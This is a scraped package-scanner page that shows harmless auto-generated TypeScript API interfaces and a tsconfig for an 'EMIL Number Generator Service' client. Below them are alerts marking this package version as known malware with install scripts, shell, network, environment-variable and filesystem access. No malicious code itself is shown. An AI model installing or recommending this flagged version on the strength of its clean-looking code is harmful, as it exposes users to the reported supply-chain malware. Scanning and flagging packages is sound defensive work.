| */ | ||
| 'status'?: string; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'info'?: { [key: string]: { [key: string]: object; }; } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'error'?: { [key: string]: { [key: string]: object; }; } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'details'?: { [key: string]: { [key: string]: object; }; }; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface InlineResponse503 | ||
| */ | ||
| export interface InlineResponse503 { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'status'?: string; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'info'?: { [key: string]: { [key: string]: object; }; } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'error'?: { [key: string]: { [key: string]: object; }; } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'details'?: { [key: string]: { [key: string]: object; }; }; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { EntityNumberClass } from './entity-number-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListNumbersResponseClass | ||
| */ | ||
| export interface ListNumbersResponseClass { | ||
| /** | ||
| * The list of numbers. | ||
| * @type {Array<EntityNumberClass>} | ||
| * @memberof ListNumbersResponseClass | ||
| */ | ||
| 'items': Array<EntityNumberClass>; | ||
| /** | ||
| * Next page token | ||
| * @type {string} | ||
| * @memberof ListNumbersResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface LookupNumberRequestDto | ||
| */ | ||
| export interface LookupNumberRequestDto { | ||
| /** | ||
| * The slug of the number | ||
| * @type {string} | ||
| * @memberof LookupNumberRequestDto | ||
| */ | ||
| 'slug': string; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ResetNumberRequestDto | ||
| */ | ||
| export interface ResetNumberRequestDto { | ||
| /** | ||
| * The slug of the number | ||
| * @type {string} | ||
| * @memberof ResetNumberRequestDto | ||
| */ | ||
| 'slug': string; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { EntityNumberClass } from './entity-number-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface UpdateNumberResponseClass | ||
| */ | ||
| export interface UpdateNumberResponseClass { | ||
| /** | ||
| * The number response. | ||
| * @type {EntityNumberClass} | ||
| * @memberof UpdateNumberResponseClass | ||
| */ | ||
| 'entityNumber': EntityNumberClass; | ||
| } | ||
| { | ||
| "compilerOptions": { | ||
| "declaration": true, | ||
| "target": "ES5", | ||
| "module": "CommonJS", | ||
| "noImplicitAny": true, | ||
| "esModuleInterop": true, | ||
| "noImplicitOverride": true, | ||
| "outDir": "dist", | ||
| "rootDir": ".", | ||
| "lib": [ | ||
| "es6", | ||
| "dom" | ||
| ], | ||
| "typeRoots": [ | ||
| "node_modules/@types" | ||
| ] | ||
| }, | ||
| "exclude": [ | ||
| "dist", | ||
| "node_modules" | ||
| ] | ||
| } |
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 1 instance in 1 package
Install scripts
Supply chain riskInstall scripts are run when the package is installed or built. Malicious packages often use scripts that run automatically to execute payloads or fetch additional code.
Found 1 instance in 1 package
Deprecated
MaintenanceThe maintainer of the package marked it as deprecated. This could indicate that a single version should not be used, or that the package is no longer maintained and any new vulnerabilities will not be fixed.
Found 1 instance in 1 package
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 2 instances in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
No contributors or author data
MaintenancePackage does not specify a list of contributors or an author in package.json.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 2 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
0
-100%0
-100%5
-84.85%14372
-94.22%4
-93.1%297
-93.99%2
100%1
Infinity%1
Infinity%1
Infinity%- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed
- Removed